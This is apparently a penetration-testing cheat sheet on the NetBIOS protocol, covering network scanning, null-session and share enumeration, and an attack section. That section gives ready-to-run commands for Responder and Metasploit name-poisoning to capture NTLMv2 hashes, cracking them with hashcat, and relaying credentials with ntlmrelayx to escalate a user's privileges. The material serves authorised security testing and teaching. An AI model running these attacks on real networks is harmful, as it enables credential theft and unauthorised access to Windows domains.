NetBIOS
NetBIOS (Network Basic Input/Output System) is a network protocol that allows applications on different computers to communicate within a local area network (LAN). It provides services for name resolution, session management, and datagram distribution. NetBIOS is commonly used in Windows networks and often runs alongside SMB. While largely replaced by modern protocols, NetBIOS is still found in many Windows environments.
Connect
Using nbtscan
The nbtscan tool efficiently scans networks for NetBIOS name information on Windows hosts:
# Scan network for NetBIOS names
nbtscan 192.168.1.0/24
# Scan specific host
nbtscan target.com
# Verbose output
nbtscan -v target.com
# Output to file
nbtscan 192.168.1.0/24 > netbios_scan.txt
Using nmblookup
# Lookup NetBIOS name
nmblookup -A target.com
# Reverse lookup
nmblookup target
# Find master browser
nmblookup -M -- -
# Find workgroup
nmblookup -d 2 '*'
Recon
Service Detection with Nmap
Use Nmap to detect NetBIOS services and identify server capabilities.
nmap -p 137,138,139 target.com
NetBIOS Name Enumeration
NetBIOS names provide valuable information about computer names, workgroups, domains, and running services on Windows systems:
# Using nbtscan
nbtscan -r 192.168.1.0/24
# Using nmap
nmap -sU -p 137 --script nbstat target.com
# Using nmblookup
nmblookup -A 192.168.1.100
# Output interpretation:
# <00> = Workstation
# <03> = Messenger service
# <20> = Server service
# <1B> = Domain Master Browser
# <1D> = Master Browser
Enumeration
Null Session Enumeration
Null sessions exploit Windows' default behavior of allowing anonymous connections to enumerate sensitive information:
# Using enum4linux
enum4linux -a target.com
# Enumerate users
enum4linux -U target.com
# Enumerate shares
enum4linux -S target.com
# Get password policy
enum4linux -P target.com
# Using rpcclient
rpcclient -U "" target.com
# Hit enter for blank password
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> queryuser 500
Share Enumeration
NetBIOS can reveal shared folders and their permissions, often exposing sensitive data:
# List shares via NetBIOS
smbclient -L //target.com -N
# Using nmap
nmap -p 139,445 --script smb-enum-shares target.com
# Check share permissions
smbmap -H target.com
smbmap -H target.com -u guest
Attack Vectors
NetBIOS Name Spoofing
# Using Responder to capture hashes
sudo responder -I eth0 -wrf
# NBT-NS poisoning
# When victim searches for \\fileserver
# Responder responds with attacker IP
# Victim connects and sends credentials
# Captured NTLMv2 hash can be cracked
hashcat -m 5600 hash.txt rockyou.txt
NBT-NS Poisoning
# Using Metasploit
use auxiliary/spoof/nbns/nbns_response
set INTERFACE eth0
set SPOOFIP attacker-ip
run
# Victims will connect to attacker's IP
# Capture credentials or perform MITM
Post-Exploitation
Information Gathering
# Get computer name, domain, users
enum4linux -a target.com > netbios_enum.txt
# Parse interesting information
grep "Domain Name" netbios_enum.txt
grep "Domain SID" netbios_enum.txt
grep "Password Info" netbios_enum.txt
Credential Relay
# Captured NetBIOS authentication can be relayed
# Using ntlmrelayx
ntlmrelayx.py -t target.com -smb2support
# Or relay to LDAP
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user lowpriv_user
NetBIOS Name Suffixes
| Suffix | Type | Description |
|---|---|---|
<00> | U | Workstation / Redirector |
<03> | U | Messenger Service |
<06> | U | RAS Server Service |
<1B> | U | Domain Master Browser |
<1C> | G | Domain Controllers |
<1D> | U | Master Browser |
<1E> | G | Browser Service Elections |
<20> | U | File Server Service |
Common Commands
| Command | Description | Example / Usage |
|---|---|---|
nbtscan | Scans networks for NetBIOS name information. | nbtscan 192.168.1.0/24 |
nmblookup | Queries NetBIOS names and services on Windows/Samba hosts. | nmblookup -A 192.168.1.10 |
enum4linux | Performs Windows/Samba enumeration using SMB and RPC services. | enum4linux -a target.com |
rpcclient | Command-line client for interacting with Microsoft RPC services. | rpcclient -U "" target.com |
Usefull Tools
| Tool | Description | Primary Use Case |
|---|---|---|
nbtscan | NetBIOS name scanner for identifying Windows hosts and NetBIOS information. | Network enumeration |
**enum4linux** | SMB and Windows/Samba enumeration tool for gathering host and domain information. | Information gathering |
Responder | Network security assessment tool for testing LLMNR, NBT-NS, and related name-resolution weaknesses. | Credential exposure assessment |
nmblookup | Utility for querying NetBIOS names and services. | NetBIOS name resolution |
rpcclient | Command-line client for interacting with Microsoft RPC services. | RPC and null-session enumeration |
| Metasploit Framework | Penetration testing framework with modules for security assessment and vulnerability validation. | Automated security testing |